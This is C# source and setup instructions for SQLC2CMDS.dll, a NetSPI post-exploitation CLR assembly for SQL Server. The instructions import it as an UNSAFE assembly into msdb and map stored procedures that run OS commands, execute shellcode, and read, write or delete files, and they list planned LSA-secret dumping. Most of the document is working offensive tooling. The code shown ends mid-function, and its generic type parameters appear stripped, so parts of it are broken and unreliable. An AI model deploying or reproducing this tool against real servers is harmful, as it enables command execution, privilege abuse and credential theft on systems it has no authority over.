/* Author: Scott Sutherland, NetSPI (2018) Application: SQLC2CMDS.dll Description: This .net DLL is intended to be imported into SQL Server and used during post exploitation activities. However, it could also be used for legitimate purposes. Long term this is intended to be the core set of functions used by the SQLC2 project being roled into PowerUpSQL. It currently supports: * TSQL queries as current user * TSQL queries as the service account (implicitly sysadmin) * Executing commands via C# wrapper / WMI * Read/Write/Remove text files * Encryption/Decryption of strings using AES Pending functions: * Read/Write binary files * Read/Write to registry * Run powershell commands without powershell.exe * Modify query functions too accept remote server target * Shellcode injection * Dumping LSA Secrets * POST/GET data from a remote web server * Download and execute script from a web server * Upload / Download file functions for SQLC2 Additional Instructions: 1. Compile the DLL. Below is an example. However, be aware that this we written and testing using the .net 4 CLR. For more information on CLR versions visit: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /Reference:C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll SQLC2CMDS.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library SQLC2CMDS.cs 2. Enale CLR on the server and select the MSDB database. MSDB data base is flagged as trustworthy by default which is a requirement for using CLRs in SQL Server. -- Select the msdb database use msdb -- Enable show advanced options on the server sp_configure 'show advanced options',1 RECONFIGURE GO -- Enable clr on the server sp_configure 'clr enabled',1 RECONFIGURE GO 3. As a sysadmin import SQLC2CMDS.dll. -- Import the assembly CREATE ASSEMBLY SQLC2CMDS FROM 'c:\temp\SQLC2CMDS.dll' WITH PERMISSION_SET = UNSAFE; 4. Map the SQLC2CMDS to stored procedures. CREATE PROCEDURE [dbo].[run_query] @execTsql NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_query]; GO CREATE PROCEDURE [dbo].[run_query2] @execTsql NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_query2]; GO CREATE PROCEDURE [dbo].[run_command] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_command]; GO CREATE PROCEDURE [dbo].[run_command_wmi] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_command_wmi]; GO CREATE PROCEDURE [dbo].[run_shellcode] @execShellcode NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_shellcode]; GO CREATE PROCEDURE [dbo].[write_file] @filePath NVARCHAR (4000),@fileContent NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[write_file]; GO CREATE PROCEDURE [dbo].[read_file] @filePath NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[read_file]; GO CREATE PROCEDURE [dbo].[remove_file] @filePath NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[remove_file]; GO CREATE PROCEDURE [dbo].[EncryptThis] @MyString NVARCHAR (4000),@MyKey NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[EncryptThis]; GO CREATE PROCEDURE [dbo].[DecryptThis] @MyString NVARCHAR (4000),@MyKey NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[DecryptThis]; GO 5. Run tests for each of the available stored procedure. -- Runs as the current user run_query 'select system_user' run_query 'select * from master..sysdatabases' -- Runs as the service account run_query2 'select system_user' run_query2 'select * from master..sysdatabases' -- Runs with output run_command 'whoami' -- Runs without output run_command_wmi 'c:\windows\system32\cmd.exe /c "whoami > c:\temp\doit1.txt"' -- Write text to a file write_file 'c:\temp\blah21.txt','stuff2' -- Read text from a file read_file 'c:\temp\blah21.txt' -- Remove a file remove_file 'c:\temp\blah21.txt' -- Encrypt a string with provided key encryptthis 'hello','password' -- Decrypt an encrypted string with provided key decryptthis 'EAAAAIUSQtbiDvP3c8L/fuNoQ8q/zUwMD8Cd/UbCmiVnopTX','password' 5. Remove all added stored procedures and the SQLC2CMDS assembly. drop procedure run_query drop procedure run_query2 drop procedure run_command drop procedure run_command_wmi drop procedure run_shellcode drop procedure write_file drop procedure read_file drop procedure remove_file drop procedure encryptthis drop procedure decryptthis drop assembly SQLC2CMDS */ using System; using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using System.Diagnostics; using System.IO; using System.Linq; using System.Management; //using System.Management.Automation; //using System.Management.Automation.Runspaces; //using System.Management.Automation.Internal; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using Microsoft.SqlServer.Server; // -------------------------------------------------- // Class for converting clr system.type to sqldbtype // Source: https://stackoverflow.com/questions/35745226/net-system-type-to-sqldbtype // -------------------------------------------------- public static class SqlHelper { private static Dictionary typeMap; // Create and populate the dictionary in the static constructor in mappings may be wrong static SqlHelper() { typeMap = new Dictionary(); typeMap[typeof(string)] = SqlDbType.NVarChar; typeMap[typeof(char[])] = SqlDbType.NVarChar; typeMap[typeof(byte)] = SqlDbType.TinyInt; typeMap[typeof(byte[])] = SqlDbType.Image; //typeMap[typeof(sbyte)] = SqlDbType.TinyInt; - not sure of sqldbtype //typeMap[typeof(ushort)] = SqlDbType.TinyInt; - not sure of sqldbtype //typeMap[typeof(uint)] = SqlDbType.TinyInt; - not sure of sqldbtype //typeMap[typeof(ulong)] = SqlDbType.TinyInt; - not sure of sqldbtype //typeMap[typeof(DateSpan)] = SqlDbType.TinyInt; - not sure of sqldbtype typeMap[typeof(short)] = SqlDbType.SmallInt; typeMap[typeof(int)] = SqlDbType.Int; typeMap[typeof(long)] = SqlDbType.BigInt; typeMap[typeof(bool)] = SqlDbType.Bit; typeMap[typeof(DateTime)] = SqlDbType.DateTime2; typeMap[typeof(DateTimeOffset)] = SqlDbType.DateTimeOffset; typeMap[typeof(decimal)] = SqlDbType.Money; typeMap[typeof(float)] = SqlDbType.Real; typeMap[typeof(double)] = SqlDbType.Float; typeMap[typeof(TimeSpan)] = SqlDbType.Time; } // Non-generic argument-based method public static SqlDbType GetDbType(Type giveType) { // Allow nullable types to be handled giveType = Nullable.GetUnderlyingType(giveType) ?? giveType; if (typeMap.ContainsKey(giveType)) { return typeMap[giveType]; } throw new ArgumentException("is not a supported .NET class"); } // Generic version public static SqlDbType GetDbType() { return GetDbType(typeof(T)); } } // -------------------------------------------------- // Class for most of the SQLC2CMDS stored procedures // -------------------------------------------------- public partial class StoredProcedures { ////////////////////////////////////////////////////////////////////////////////////////////////////// // Common functions ////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////// // -------------------------------------------------- // Function - run_query // -------------------------------------------------- // https://msdn.microsoft.com/en-us/library/9197xfyw(v=vs.110).aspx // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder(v=vs.110).aspx // No error handling when object does not exist [Microsoft.SqlServer.Server.SqlProcedure] public static void run_query (SqlString execTsql) { // Run as calling SQL/Windows login using(SqlConnection connection = new SqlConnection("context connection=true")) { connection.Open(); SqlCommand command = new SqlCommand(execTsql.ToString(), connection); SqlContext.Pipe.ExecuteAndSend(command); connection.Close(); } } // -------------------------------------------------- // Function - run_query2 // -------------------------------------------------- // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader(v=vs.80).aspx // https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/retrieving-data-using-a-datareader // https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqldatarecord(v=vs.110).aspx // http://sharpfellows.com/post/Returning-a-DataTable-over-SqlContextPipe // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader.getvalues(v=vs.110).aspx // Need to add auto identification of the current instance. // No error handling when object does not exist. Need to add variables so it can be used as an alternative to ad-hoc queries. [Microsoft.SqlServer.Server.SqlProcedure] public static void run_query2 (SqlString execTsql) { // user connection string builder here, accept query, server, current, user, password - execute as system by default, accept windows creds, sql creds // Connection string using (SqlConnection connection = new SqlConnection(@"Data Source=MSSQLSRV04\SQLSERVER2014;Initial Catalog=master;Integrated Security=True")) { connection.Open(); SqlCommand command = new SqlCommand(execTsql.ToString(), connection); command.CommandTimeout = 240; SqlDataReader reader = command.ExecuteReader(); // Create List for Columns List OutputColumns = new List(reader.FieldCount); // Get schema DataTable schemaTable = reader.GetSchemaTable(); // Get column names, types, and sizes from reader for(int i=0;i